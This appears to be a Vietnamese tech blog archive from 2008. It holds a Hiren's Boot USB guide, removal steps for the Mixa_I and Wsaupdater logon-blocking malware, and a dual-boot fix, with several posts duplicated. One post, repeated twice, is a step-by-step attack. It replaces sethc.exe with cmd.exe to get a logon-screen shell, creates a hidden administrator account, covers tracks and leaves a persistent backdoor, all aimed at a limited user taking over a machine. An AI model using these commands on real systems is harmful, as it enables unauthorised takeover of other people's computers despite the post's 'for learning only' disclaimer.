January 25, 2008
Tạo USB boot bằng Hiren Boot
Sưu tầm ở báo www.echip.com.vn
Ổ đĩa di động USB Flash drive hiện nay rất thông dụng vì gọn nhẹ, ít hư hỏng và dung lượng cao nên rất thuận tiện để làm đĩa khởi động và cứu hộ máy tính, thay thế cho đĩa mềm hay CDROM. Ngoài ra, nếu ổ USB Flash drive của bạn có dung lượng trên 125MB, bạn có thể đưa toàn bộ nội dung của Hiren’s BootCD vào ổ USB. Dưới đây là các bước để làm ổ USB của bạn khởi động được.
Khởi động DOS
1. Tải file hình ảnh của đĩa mềm khởi động DOS tại địa chỉ www.echip.com.vn/echiproot/Softwares/2006/bootdos.img rồi dùng chương trình WinImage (www.winimage.com/winimage.htm) để trích xuất các file có trong đĩa mềm này. Chạy WinImage > mở menu File/ Open và chỉ định file bootdos.img > chọn tất cả file trong cửa sổ liệt kê bên phải rồi bấm phím phải chuột vào chúng > chọn Extract trong menu ngữ cảnh để xuất toàn bộ file ra thư mục A.
2. Tải chương trình HP USB Disk Storage Format Tool tại http://h18007.www1.hp.com/support/files/hpcpqdt/us/download/20306.html > gắn ổ USB vào máy rồi chạy chương trình này để định dạng cho ổ USB với các chọn lựa: FAT cho phần File system, đánh dấu chọn Create a DOS startup disk và chỉ định thư mục A tại phần Using DOS system files located at: > bấm nút Start để chương trình tiến hành định dạng và chép 3 file hệ thống (command.com, io.sys, msdos.sys) lên ổ USB.
3. Bạn chép các file còn lại trong thư mục A vào ổ USB và có thể chép thêm các chương trình cần thiết chạy trong môi trường DOS như kiểm tra phần cứng, phân vùng đĩa, phục hồi dữ liệu… tùy theo dung lượng còn trống của ổ USB.
Khởi động Hiren’s Boot
Nếu ổ USB của bạn có dung lượng trên 128MB thì bạn có thể đưa cả bộ Hiren’s Boot vào ổ USB theo các bước dưới đây.
1, 2. Thực hiện bước 1 và 2 giống như trên.
3. Xóa file msdos.sys và bỏ thuộc tính ẩn, hệ thống của file command.com trên ổ USB.
4. Tải file ISO của Hiren’s Boot v7.8 tại địa chỉ www.9down.com/downloads.php?fileid=288 hay mua đĩa Hiren’s Boot ở các cửa hàng dịch vụ Tin học rồi dùng chương trình UltraISO (www.ezbsystems.com/ultraiso/index.html) để tạo file hình ảnh dạng ISO cho đĩa này (chạy UltraISO, vào menu Tools chọn lệnh Make CD/DVD Image).
5. Chạy UltraISO, mở menu File/ Open và chọn file ISO của Hiren’s Boot > Mở menu Bootable, chọn Save Boot File để trích xuất phần Boot của đĩa thành file tên hiren.bif vào 1 thư mục tạm > Bấm phím phải chuột vào thư mục BootCD rồi chọn Extract To để xuất toàn bộ thư mục này vào thư mục B trên ổ cứng.
6. Chạy chương trình WinImage, mở menu File/ Open và chỉ định file hiren.bif > chọn tất cả file trong cửa sổ liệt kê bên phải rồi bấm phím phải chuột vào chúng > chọn Extract trong menu ngữ cảnh để xuất toàn bộ file ra thư mục B.
7. Xóa file command.com, io.sys, jo.sys trong thư mục B đồng thời mở file msdos.sys trong thư mục này để xóa 3 dòng: “windir=.” , “WinBootDir=.” và “HostWinBootDrv=a”.
8. Chép tất cả file trong thư mục B, kể cả thư mục BootCD vào ổ USB. Như vậy là ổ USB Flash drive của bạn đã trở thành Hiren’s BootUSB rồi đó.
Cần biết khi sử dụng ổ USB Boot.
- Nên sao lưu nội dung trên ổ USB để dự phòng vì ổ USB vẫn có thể bị xóa hay bị virus tấn công.
- Phải xác lập việc khởi động bằng ổ USB trong BIOS và có những máy đời cũ không hỗ trợ ổ USB Boot.
- Ổ USB khởi động tương tự ổ cứng nên phần Boot không chiếm ký tự của ổ đĩa mềm (A) như khi khởi động bằng ổ CD-ROM.
- Tốc độ khởi động của ổ Hiren’s BootUSB chậm hơn đĩa Hiren’s BootCD và có thể không khởi động được trên một số máy laptop.
Thứ Sáu, 2 tháng 5, 2008
Chủ Nhật, 6 tháng 4, 2008
Hack Password Administrators (Mr.Cuong@banbeit.com)
Hack Password Administrators
Trong Windows XP có 1 chương trình gọi là StickyKey, khi chúng ta nhấn phím Shift nhiều lần (khoảng 5 lần)thì chương trình này sẽ hiện ra
File thực thi của chương trình này là c:\windows\system32\sethc.exe
Chúng ta sẽ Hack pass Admin từ lỗ hổng của chương trình này.
Khi sử dụng 1 máy tính nào đó mà chỉ có quyền của Guest hoặc Limited User,chúng ta cần cài đặt một ứng dụng nhưng ứng dụng này đòi hỏi quyền Admin mới có thể cài đặt.
Chà...chà...hack pass Quản Trị thôi!
Thực hiện theo các bước sau:
Bước 1:
Run: cmd
gõ vào các dòng lệnh sau:(khuyến khích nên gõ cho quen lệnh)
cd %systemroot%/system32 //vào thư mục system32
rename sethc.exe sethc.exe.bak //đổi tên sethc.exe thành sethc.bak
copy cmd.exe sethc.exe /y //thay thế file sethc.exe bằng file cmd.exe
(hoặc mở Notepad, paste đoạn mã trên vào và lưu lại với tên là crack.cmd Sau đó nhấp kép chuột lên file crack.cmd để thực thi.)
Bước 2:
Log off user đang dùng (Guest hoặc Limited user),từ cửa sổ chờ Login vào Windows, nhấp phím Shift 5 lần, nếu chương trình Command Prompt được gọi thay vì StickyKey thì bạn đã thành công!
Chương trình StickyKey đã được thay bằng Command Run
Ở cửa số Command Prompt này chúng ta sẽ có toàn quyền biến đổi tùy ý các Users có trên máy!
Bước 3:Một số lệnh Command:
Xem những user nào hiện có trên máy (kể cả các user ần)
net user
Xóa trắng password của Administrator(hay tương tự với bất kì user nào):
net user Administrator cái này thì ko nên tí nào! dễ lộ lắm!hehe..
Thêm tài khoản MrCuong với pw là happend vào hệ thống
net user MrCuong happend /add
Gán tài khoản MrCuong vào nhóm Quản Trị :
net localgroup Administrators MrCuong /add
Sau khi thực hiện các lệnh trên thì MrCuong đã là một thành viên của Administrators,có thể đăng nhập vào hệ thống mà không cần khởi động lại máy!
Sau khi dùng xong tài khoản mới tạo thì xóa đi để giấu dấu vết.
net user MrCuong /delete
Ẩn profile ứng với tài khoản MrCuong(xóa thì lâu lắm)
attrib +s +h +r C:\Documents and Settings\MrCuong
Với những Quản Trị Viên chuyên nghiệp thì sẽ biết có sự tồn tại của Profile mới tạo nhưng cmd.exe đã đổi tên thành sethc.exe vẫn còn trong System32, thì chúng ta vẫn còn nắm quyền kiểm soát!Hehehe...
.
Bài viết chỉ mang tính chất trao đổi, học hỏi. Không khuyến khích anh em áp dụng phá hoại máy tính người khác!
Trong Windows XP có 1 chương trình gọi là StickyKey, khi chúng ta nhấn phím Shift nhiều lần (khoảng 5 lần)thì chương trình này sẽ hiện ra
File thực thi của chương trình này là c:\windows\system32\sethc.exe
Chúng ta sẽ Hack pass Admin từ lỗ hổng của chương trình này.
Khi sử dụng 1 máy tính nào đó mà chỉ có quyền của Guest hoặc Limited User,chúng ta cần cài đặt một ứng dụng nhưng ứng dụng này đòi hỏi quyền Admin mới có thể cài đặt.
Chà...chà...hack pass Quản Trị thôi!
Thực hiện theo các bước sau:
Bước 1:
Run: cmd
gõ vào các dòng lệnh sau:(khuyến khích nên gõ cho quen lệnh)
cd %systemroot%/system32 //vào thư mục system32
rename sethc.exe sethc.exe.bak //đổi tên sethc.exe thành sethc.bak
copy cmd.exe sethc.exe /y //thay thế file sethc.exe bằng file cmd.exe
(hoặc mở Notepad, paste đoạn mã trên vào và lưu lại với tên là crack.cmd Sau đó nhấp kép chuột lên file crack.cmd để thực thi.)
Bước 2:
Log off user đang dùng (Guest hoặc Limited user),từ cửa sổ chờ Login vào Windows, nhấp phím Shift 5 lần, nếu chương trình Command Prompt được gọi thay vì StickyKey thì bạn đã thành công!
Chương trình StickyKey đã được thay bằng Command Run
Ở cửa số Command Prompt này chúng ta sẽ có toàn quyền biến đổi tùy ý các Users có trên máy!
Bước 3:Một số lệnh Command:
Xem những user nào hiện có trên máy (kể cả các user ần)
net user
Xóa trắng password của Administrator(hay tương tự với bất kì user nào):
net user Administrator cái này thì ko nên tí nào! dễ lộ lắm!hehe..
Thêm tài khoản MrCuong với pw là happend vào hệ thống
net user MrCuong happend /add
Gán tài khoản MrCuong vào nhóm Quản Trị :
net localgroup Administrators MrCuong /add
Sau khi thực hiện các lệnh trên thì MrCuong đã là một thành viên của Administrators,có thể đăng nhập vào hệ thống mà không cần khởi động lại máy!
Sau khi dùng xong tài khoản mới tạo thì xóa đi để giấu dấu vết.
net user MrCuong /delete
Ẩn profile ứng với tài khoản MrCuong(xóa thì lâu lắm)
attrib +s +h +r C:\Documents and Settings\MrCuong
Với những Quản Trị Viên chuyên nghiệp thì sẽ biết có sự tồn tại của Profile mới tạo nhưng cmd.exe đã đổi tên thành sethc.exe vẫn còn trong System32, thì chúng ta vẫn còn nắm quyền kiểm soát!Hehehe...
.
Bài viết chỉ mang tính chất trao đổi, học hỏi. Không khuyến khích anh em áp dụng phá hoại máy tính người khác!
Thứ Hai, 10 tháng 3, 2008
Cách diệt virus không cho logon
Nhiều khả năng công ty của bạn bị con virus Misa hoặc biến thể của nó
Mixa_I.exe có biểu tượng 1 cô gái đang nhảy đầm (ặc..ặc… )gây ra một sốhiện tương sau đây:
regedit hoặc gpedit.msc• Run thì logoff máy tính
• Chép autorun.inf và mixa_I vào tất cả các ổ đĩa
• Tạo Value Virus : C:\windows\mixa.exe
Thay đổi giá trị khóa HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
Từ giá tri "Userinit":C:\WINDOWS\system32\userinit.exe,"
thành "Userinit":"C:\WINDOWS\system32\systemio.exe," do đó nếu ko am hiểu registry sẽ khó diệt được con này!
-Đặc biệt:sau vài lần restart máy thì sẽ không log on vào win đc nữa, bị log off liên tục!
…còn hiện tương gì nữa thì..hạ hồi phân giải nhá!hehehe…quan trọng nhất là…..-->
Cách diệt như sau:
Cách 1: Do con virus không cho vào Windows nữa nên chúng ta cần dùng đến đĩa CD
-Dùng đĩa Hiren’s Boot :sử dụng DOS có hỗ trợ NTFS (nếu ổ đĩa của bạn chia theo định dạng này)
+ Xóa tất cả các file autorun.inf, Mixa_I.exe trong tất cả các ổ đĩa
+ Xóa C:\Windows\Mixa.exe
+ Xóa C:\Windows\System32\systemio.exe
+ Copy C:\Windows\System32\Userinit.exe sang ổ D:\Userinit.exe
+ Đổi tên D:\Userinit.exe thành D:\systemio.exe
+ Move D:\systemio.exe sang C:\Windows\System32\
-Khởi động Windows: lúc này bạn đã có thể log on vào windows đc rồi đấy!
+ Run: regedit.exe tìm đến khóa HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run
xóa Value “virus” bên phải.
Tiếp tục tìm đến HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ Winlogon, nhìn sang phải :nhấp đúp vào “Userinit” thay đổi vềgiá trị mặc định “C:\Windows\System32\Userinit,” ( lưu ý: có dấu phẩy sau cùng! )
-Vào C:\Windows\System32\ xóa systemio.exe
Cách 2:
Muốn diệt được con này,trước tiên các bạn phải có 1 đĩa BartPE và cách diệt của nó cũng nằm ở đây : http://windowsxp.mvps.org/peboot.htm .Các bạn down BartPE về, dùng đĩa win bạn đang xài để tạo 1 file .iso sau đó các bạn dùng chương trình để burn file .iso đó ra đĩa cd,vậy là các bạn đã có 1 OS mini on CD rồi nhé,tiếp đến các bạn cho boot từ cd để chạy win mini (OS BartPE) rồi làm theo hướng dẫn:
(mọi người tham khảo tiếng Anh trước nhé):
Scenario - Incorrect registry value preventing you from logging on to your user account in Windows XP ?
In this example, a basic BartPE CD without any Plugins, has been used for illustration purposes. You may add as many Plugins as you want, depending upon your needs.
Verifying and fixing the Userinit value in the registry
1. Insert the BartPE CD into the drive, and boot the system from the CD. Once the file loading phase is over, the Bart PE desktop will be visible, as shown in Figure 1.
2. Type Regedit.exe in the prompt, and press Enter. Select the HKEY_USERS hive
3. From the File menu, choose the Load Hive option. Browse to your Windows installation drive, for example the following location:
C:\Windows\System32\Config\
4. Select the file named SOFTWARE (the file without any extensions), and click Open
5. Type a name for the hive that you've loaded now. (Example: MyXPHive)
6. Now the SOFTWARE hive is loaded, and present under the HKEY_USERS base hive.
7. In order to fix the Userinit value in the loaded hive, navigate to the following location:
HKEY_USERS \ MyXPHive \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon
8. Double-click Userinit and set it's value correctly. Example: Set it's data as follows:
C:\Windows\System32\Userinit.exe,
(Include the trailing comma also. The above assumes that Windows is installed in C:\Windows, and Userinit.exe file is actually present in the System32 folder. You may want to verify that as well.)
9. After entering the correct data, you MUST unload the Hive. To do so, select MyXPHive branch, and then in the File menu, choose Unload Hive. It's important to note that you'll need to select the MyXPHive branch first, before unloading it.
10. Quit BartPE and restart Windows. See if you're able to logon to your profile.
If your PC is a victim of the Malware discussed in this article, and unable to login to your profile, then you'll need to fix the registry as discussed there. As you're unable to login, registry modification can only be done from a remote system, or via offline registry editing. This article discusses about offline registry editing.
Cách khác :
SỬ DỤNG RECOVERY CONSOLE
Bước 1. Thay thế, đổi tên tập tin userinit.exe bằng Recovery Console.
Khởi động máy với đĩa CD cài đặt Windows. Nhấn phím bất kỳ khi xuất hiện thông báo Press any key to boot from CD.
Trong màn hình Welcome to setup, nhấn phím R (Repair) để khởi động Recovery Console (RC).
Nếu hệ thống cài đặt nhiều hệ điều hành (HĐH) khác nhau, chọn HĐH bị lỗi cần khắc phục (lưu ý: nếu nhấn Enter khi chưa chọn HĐH, chương trình sẽ tự khởi động lại máy).
Nhập mật khẩu của tài khoản thuộc nhóm quản trị (Administrators).
Tại dấu nhắc của RC, gõ các dòng lệnh sau (nhấn Enter sau mỗi dòng lệnh).
cd system32
copy userinit.exe wsaupdater.exe
exit
Bước 2. Khởi động lại máy tính, bạn đã có thể đăng nhập Windows ở chế độ bình thường.
Chọn Start. Run, gõ dòng lệnh regedit và nhấn OK để mở cửa sổ Registry Editor.
Trong khung trái Registry Editor, tìm đến nhánh HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
Ở khung phải, tìm đến mục userinit, nhấn phải chuột trên mục này chọn modify.
Thay thế tập tin wsaupdater.exe bằng userinit.exe, (bao gồm cả dấu “,”) trong mục Value data (thông tin đúng trong trường hợp này là C:\WINDOWS\system32\userinit.exe,) (hình 1)
Chọn OK và đóng Registry Editor.
Bước 3. Xóa tập tin wsaupdater.exe
Khởi động lại máy tính, đăng nhập Windows bằng tài khoản thuộc nhóm quản trị (Administrators).
Chọn Start. Run, gõ dòng lệnh %Windir%\system32, nhấn OK (hoặc mở Windows Explorer, tìm đến thư mục Windows\System32)
Tìm tập tin wsaupdater.exe trong thư mục Windows\System32, chọn Delete, nhấn OK xác nhận xóa.
Ghi chú. Việc chỉnh sửa các thông số Registry đòi hỏi phải được thực hiện hết sức cẩn trọng vì chỉ một sơ suất nhỏ cũng có thể khiến Windows hoạt động bất thường, thậm chí không thể đăng nhập được. Do vậy, trước khi tiến hành bất kỳ một chỉnh sửa nào, hãy sao lưu lại cấu hình Registry hiện tại theo các hướng dẫn trong bài “Chăm sóc và bảo dưỡng Windows Registry” (ID: A0205_90).
Thông tin khác :
Hôm nay em search ở google thì tìm thấy thông tin về hiện tượng này ở trang của Microsoft, nó đây:
CAUSE
Wsaupdater.exe is spyware that changes Userinit.exe, to Wsaupdater.exe in the registry. Ad-Aware by Lavasoft removes the Wsaupdater.exe file from the computer, but it cannot change the registry subkey back to Userinit.exe,. The registry subkey that is changed is
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
Value: Userinit
Data: %Windir%\System32\Wsaupdater.exe
Note %windir% represents the location of the System32 folder. For example, if the location is C:\Windows\System32, the data would be C:\Windows\System32\Wsaupdater.exe.
The data should contain Userinit.exe, instead of Wsaupdater.exe. In the previous example, the data would be C:\Windows\System32\Userinit.exe,.
Như vậy nguyên nhân là do con Wsaupdater.exe gây ra, nhưng trong bài hướng dẫn của Microsoft chỉ nói cách sửa lại Registry và xóa file Wsaupdater.exe trong thư mục system32. Điều em hỏi là: Nguyên nhân do đâu mà con Wsaupdater.exe nó chui vào thư mục System32 được, và liệu nếu chỉ xóa 1 file Wsaupdater.exe thì nó có chết ko hay còn các biến thể khác, hiện máy em cài Bitdefender10, có lúc lại cài NOD32, nhưng rốt cục quét ko thấy virus hay spyware, em chưa thử các phần mềm AntiSpy. Bác nào biết cách diệt con này thì post lên anh em xem với
Tuyệt chiêu của Mr Cường :
Virus Mixa_I từ những ngày đầu xuất hiện, tôi đã có source và thấy nó khá nguy hiểm nên đã viết bài hướng dẫn trên Blog cá nhân!
Bài viết ở trên copy từ Blog của tôi nhưng rất nhiều bạn đã ko ghi nguồn gốc !! ( hỡi ôi! dân việt nam ...)
Hiện nay tôi đã có biện pháp trị các con virus không cho logon vào máy (bất kể loại nào, ko riêng gì Mixa_I )
Đặc điểm của loại virus này là thay đổi giá trị Registry tại khóa :
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
"Userinit"="C:\\Windows\\system32\\userinit.exe," ( có dấu " , " ở cuối )
để chỉ đến files của chính nó ( virus ).
Vậy : Ta chỉ cần chỉnh sửa giá trị Userinit về giá trị mặc định thì sẽ lại logon được!
Nhưng : làm thế nào để vào Registry khi ko logon được ?Chúng ta sẽ lơi dụng lỗ hổng của file sethc.exe ( Xem lại bài :Hack Password Administrators )
Các bước thực hiện:
B1: Khởi động từ đĩa Hiren's Boot, sử dụng chương trình quản lý file trong Hiren's Boot để vào thư mục System32
B2: Thay thế file Sethc.exe bằng cmd.exe (bằng cách gõ: copy cmd.exe sethc.exe /y)
B3: Lấy đĩa Hiren's Boot ra và Khởi động lại máy
B4: Tại cửa sổ Logon, nhấn Shilt 5 lần để hiện cửa sổ Command Line
B5: gõ vào regedit.exe
B6: Duyệt đến khóa :HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
sửa lại giá trị mặc định là:
"Userinit"="C:\\Windows\\system32\\userinit.exe,
p/s : Bạn nào ko thực hiện được thì...THANKS cho tôi ..vài trăm cái, tối nay về viết TUT có ảnh minh họa! ^^
--------------------------------------------------------------------------------
thay đổi nội dung bởi: Mr.Cuong, 02-04-2008 lúc 01:06 PM.
--------------------------------------------------------------------------------
HomePage: http://banbeit.com
Email: Mr.Cuong@banbeit.com
Mobile: 0907.527.027
________________________________________
Mixa_I.exe có biểu tượng 1 cô gái đang nhảy đầm (ặc..ặc… )gây ra một sốhiện tương sau đây:
regedit hoặc gpedit.msc• Run thì logoff máy tính
• Chép autorun.inf và mixa_I vào tất cả các ổ đĩa
• Tạo Value Virus : C:\windows\mixa.exe
Thay đổi giá trị khóa HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
Từ giá tri "Userinit":C:\WINDOWS\system32\userinit.exe,"
thành "Userinit":"C:\WINDOWS\system32\systemio.exe," do đó nếu ko am hiểu registry sẽ khó diệt được con này!
-Đặc biệt:sau vài lần restart máy thì sẽ không log on vào win đc nữa, bị log off liên tục!
…còn hiện tương gì nữa thì..hạ hồi phân giải nhá!hehehe…quan trọng nhất là…..-->
Cách diệt như sau:
Cách 1: Do con virus không cho vào Windows nữa nên chúng ta cần dùng đến đĩa CD
-Dùng đĩa Hiren’s Boot :sử dụng DOS có hỗ trợ NTFS (nếu ổ đĩa của bạn chia theo định dạng này)
+ Xóa tất cả các file autorun.inf, Mixa_I.exe trong tất cả các ổ đĩa
+ Xóa C:\Windows\Mixa.exe
+ Xóa C:\Windows\System32\systemio.exe
+ Copy C:\Windows\System32\Userinit.exe sang ổ D:\Userinit.exe
+ Đổi tên D:\Userinit.exe thành D:\systemio.exe
+ Move D:\systemio.exe sang C:\Windows\System32\
-Khởi động Windows: lúc này bạn đã có thể log on vào windows đc rồi đấy!
+ Run: regedit.exe tìm đến khóa HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run
xóa Value “virus” bên phải.
Tiếp tục tìm đến HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ Winlogon, nhìn sang phải :nhấp đúp vào “Userinit” thay đổi vềgiá trị mặc định “C:\Windows\System32\Userinit,” ( lưu ý: có dấu phẩy sau cùng! )
-Vào C:\Windows\System32\ xóa systemio.exe
Cách 2:
Muốn diệt được con này,trước tiên các bạn phải có 1 đĩa BartPE và cách diệt của nó cũng nằm ở đây : http://windowsxp.mvps.org/peboot.htm .Các bạn down BartPE về, dùng đĩa win bạn đang xài để tạo 1 file .iso sau đó các bạn dùng chương trình để burn file .iso đó ra đĩa cd,vậy là các bạn đã có 1 OS mini on CD rồi nhé,tiếp đến các bạn cho boot từ cd để chạy win mini (OS BartPE) rồi làm theo hướng dẫn:
(mọi người tham khảo tiếng Anh trước nhé):
Scenario - Incorrect registry value preventing you from logging on to your user account in Windows XP ?
In this example, a basic BartPE CD without any Plugins, has been used for illustration purposes. You may add as many Plugins as you want, depending upon your needs.
Verifying and fixing the Userinit value in the registry
1. Insert the BartPE CD into the drive, and boot the system from the CD. Once the file loading phase is over, the Bart PE desktop will be visible, as shown in Figure 1.
2. Type Regedit.exe in the prompt, and press Enter. Select the HKEY_USERS hive
3. From the File menu, choose the Load Hive option. Browse to your Windows installation drive, for example the following location:
C:\Windows\System32\Config\
4. Select the file named SOFTWARE (the file without any extensions), and click Open
5. Type a name for the hive that you've loaded now. (Example: MyXPHive)
6. Now the SOFTWARE hive is loaded, and present under the HKEY_USERS base hive.
7. In order to fix the Userinit value in the loaded hive, navigate to the following location:
HKEY_USERS \ MyXPHive \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon
8. Double-click Userinit and set it's value correctly. Example: Set it's data as follows:
C:\Windows\System32\Userinit.exe,
(Include the trailing comma also. The above assumes that Windows is installed in C:\Windows, and Userinit.exe file is actually present in the System32 folder. You may want to verify that as well.)
9. After entering the correct data, you MUST unload the Hive. To do so, select MyXPHive branch, and then in the File menu, choose Unload Hive. It's important to note that you'll need to select the MyXPHive branch first, before unloading it.
10. Quit BartPE and restart Windows. See if you're able to logon to your profile.
If your PC is a victim of the Malware discussed in this article, and unable to login to your profile, then you'll need to fix the registry as discussed there. As you're unable to login, registry modification can only be done from a remote system, or via offline registry editing. This article discusses about offline registry editing.
Cách khác :
SỬ DỤNG RECOVERY CONSOLE
Bước 1. Thay thế, đổi tên tập tin userinit.exe bằng Recovery Console.
Khởi động máy với đĩa CD cài đặt Windows. Nhấn phím bất kỳ khi xuất hiện thông báo Press any key to boot from CD.
Trong màn hình Welcome to setup, nhấn phím R (Repair) để khởi động Recovery Console (RC).
Nếu hệ thống cài đặt nhiều hệ điều hành (HĐH) khác nhau, chọn HĐH bị lỗi cần khắc phục (lưu ý: nếu nhấn Enter khi chưa chọn HĐH, chương trình sẽ tự khởi động lại máy).
Nhập mật khẩu của tài khoản thuộc nhóm quản trị (Administrators).
Tại dấu nhắc của RC, gõ các dòng lệnh sau (nhấn Enter sau mỗi dòng lệnh).
cd system32
copy userinit.exe wsaupdater.exe
exit
Bước 2. Khởi động lại máy tính, bạn đã có thể đăng nhập Windows ở chế độ bình thường.
Chọn Start. Run, gõ dòng lệnh regedit và nhấn OK để mở cửa sổ Registry Editor.
Trong khung trái Registry Editor, tìm đến nhánh HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
Ở khung phải, tìm đến mục userinit, nhấn phải chuột trên mục này chọn modify.
Thay thế tập tin wsaupdater.exe bằng userinit.exe, (bao gồm cả dấu “,”) trong mục Value data (thông tin đúng trong trường hợp này là C:\WINDOWS\system32\userinit.exe,) (hình 1)
Chọn OK và đóng Registry Editor.
Bước 3. Xóa tập tin wsaupdater.exe
Khởi động lại máy tính, đăng nhập Windows bằng tài khoản thuộc nhóm quản trị (Administrators).
Chọn Start. Run, gõ dòng lệnh %Windir%\system32, nhấn OK (hoặc mở Windows Explorer, tìm đến thư mục Windows\System32)
Tìm tập tin wsaupdater.exe trong thư mục Windows\System32, chọn Delete, nhấn OK xác nhận xóa.
Ghi chú. Việc chỉnh sửa các thông số Registry đòi hỏi phải được thực hiện hết sức cẩn trọng vì chỉ một sơ suất nhỏ cũng có thể khiến Windows hoạt động bất thường, thậm chí không thể đăng nhập được. Do vậy, trước khi tiến hành bất kỳ một chỉnh sửa nào, hãy sao lưu lại cấu hình Registry hiện tại theo các hướng dẫn trong bài “Chăm sóc và bảo dưỡng Windows Registry” (ID: A0205_90).
Thông tin khác :
Hôm nay em search ở google thì tìm thấy thông tin về hiện tượng này ở trang của Microsoft, nó đây:
CAUSE
Wsaupdater.exe is spyware that changes Userinit.exe, to Wsaupdater.exe in the registry. Ad-Aware by Lavasoft removes the Wsaupdater.exe file from the computer, but it cannot change the registry subkey back to Userinit.exe,. The registry subkey that is changed is
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
Value: Userinit
Data: %Windir%\System32\Wsaupdater.exe
Note %windir% represents the location of the System32 folder. For example, if the location is C:\Windows\System32, the data would be C:\Windows\System32\Wsaupdater.exe.
The data should contain Userinit.exe, instead of Wsaupdater.exe. In the previous example, the data would be C:\Windows\System32\Userinit.exe,.
Như vậy nguyên nhân là do con Wsaupdater.exe gây ra, nhưng trong bài hướng dẫn của Microsoft chỉ nói cách sửa lại Registry và xóa file Wsaupdater.exe trong thư mục system32. Điều em hỏi là: Nguyên nhân do đâu mà con Wsaupdater.exe nó chui vào thư mục System32 được, và liệu nếu chỉ xóa 1 file Wsaupdater.exe thì nó có chết ko hay còn các biến thể khác, hiện máy em cài Bitdefender10, có lúc lại cài NOD32, nhưng rốt cục quét ko thấy virus hay spyware, em chưa thử các phần mềm AntiSpy. Bác nào biết cách diệt con này thì post lên anh em xem với
Tuyệt chiêu của Mr Cường :
Virus Mixa_I từ những ngày đầu xuất hiện, tôi đã có source và thấy nó khá nguy hiểm nên đã viết bài hướng dẫn trên Blog cá nhân!
Bài viết ở trên copy từ Blog của tôi nhưng rất nhiều bạn đã ko ghi nguồn gốc !! ( hỡi ôi! dân việt nam ...)
Hiện nay tôi đã có biện pháp trị các con virus không cho logon vào máy (bất kể loại nào, ko riêng gì Mixa_I )
Đặc điểm của loại virus này là thay đổi giá trị Registry tại khóa :
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
"Userinit"="C:\\Windows\\system32\\userinit.exe," ( có dấu " , " ở cuối )
để chỉ đến files của chính nó ( virus ).
Vậy : Ta chỉ cần chỉnh sửa giá trị Userinit về giá trị mặc định thì sẽ lại logon được!
Nhưng : làm thế nào để vào Registry khi ko logon được ?Chúng ta sẽ lơi dụng lỗ hổng của file sethc.exe ( Xem lại bài :Hack Password Administrators )
Các bước thực hiện:
B1: Khởi động từ đĩa Hiren's Boot, sử dụng chương trình quản lý file trong Hiren's Boot để vào thư mục System32
B2: Thay thế file Sethc.exe bằng cmd.exe (bằng cách gõ: copy cmd.exe sethc.exe /y)
B3: Lấy đĩa Hiren's Boot ra và Khởi động lại máy
B4: Tại cửa sổ Logon, nhấn Shilt 5 lần để hiện cửa sổ Command Line
B5: gõ vào regedit.exe
B6: Duyệt đến khóa :HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
sửa lại giá trị mặc định là:
"Userinit"="C:\\Windows\\system32\\userinit.exe,
p/s : Bạn nào ko thực hiện được thì...THANKS cho tôi ..vài trăm cái, tối nay về viết TUT có ảnh minh họa! ^^
--------------------------------------------------------------------------------
thay đổi nội dung bởi: Mr.Cuong, 02-04-2008 lúc 01:06 PM.
--------------------------------------------------------------------------------
HomePage: http://banbeit.com
Email: Mr.Cuong@banbeit.com
Mobile: 0907.527.027
________________________________________
Thứ Tư, 6 tháng 2, 2008
Install Windows 98 after XP
Nếu Primary Partition là Fat 32, bạn làm như sau:
1.Trước tiên, bạn vào Win98 tạo 1 đĩa mềm khởi động, rồi chép thêm vào đĩa đó 3 files “debug.exe”, “read.scr” và “sysXPfat.com”.
2.Xong, bạn boot bằng đĩa mềm đó, tại dấu nhắc A:\ đánh lịnh: "debug
3.Restart lại máy, tại dấu nhắc A:\ đánh lịnh:sysxpfat c:để tạo lại MBR cho WinXP.Lấy đĩa mềm ra, Restart lại máy, bạn sẽ có Dual Menu để vào Win98 hoặc XP.
Note:
-File “debug.exe” có trong folder “Windows\Command” của Win98.
-File “read.scr”, bạn tự tạo bằng cách mở Notepad nhập vào các dòng lịnh sau:
L 100 2 0 1
N C:\BOOTSECT.DOS
R BX
0
R CX
200
W
Q
Xong save lại với Save as type là All file, File name là “read.scr”.
-File “sysXPfat.com” (930 bytes) có trong các đĩa Hiren’s BootCD hoặc trong các đĩa LHT.
Chúc bạn thành công.
1.Trước tiên, bạn vào Win98 tạo 1 đĩa mềm khởi động, rồi chép thêm vào đĩa đó 3 files “debug.exe”, “read.scr” và “sysXPfat.com”.
2.Xong, bạn boot bằng đĩa mềm đó, tại dấu nhắc A:\ đánh lịnh: "debug
3.Restart lại máy, tại dấu nhắc A:\ đánh lịnh:sysxpfat c:để tạo lại MBR cho WinXP.Lấy đĩa mềm ra, Restart lại máy, bạn sẽ có Dual Menu để vào Win98 hoặc XP.
Note:
-File “debug.exe” có trong folder “Windows\Command” của Win98.
-File “read.scr”, bạn tự tạo bằng cách mở Notepad nhập vào các dòng lịnh sau:
L 100 2 0 1
N C:\BOOTSECT.DOS
R BX
0
R CX
200
W
Q
Xong save lại với Save as type là All file, File name là “read.scr”.
-File “sysXPfat.com” (930 bytes) có trong các đĩa Hiren’s BootCD hoặc trong các đĩa LHT.
Chúc bạn thành công.
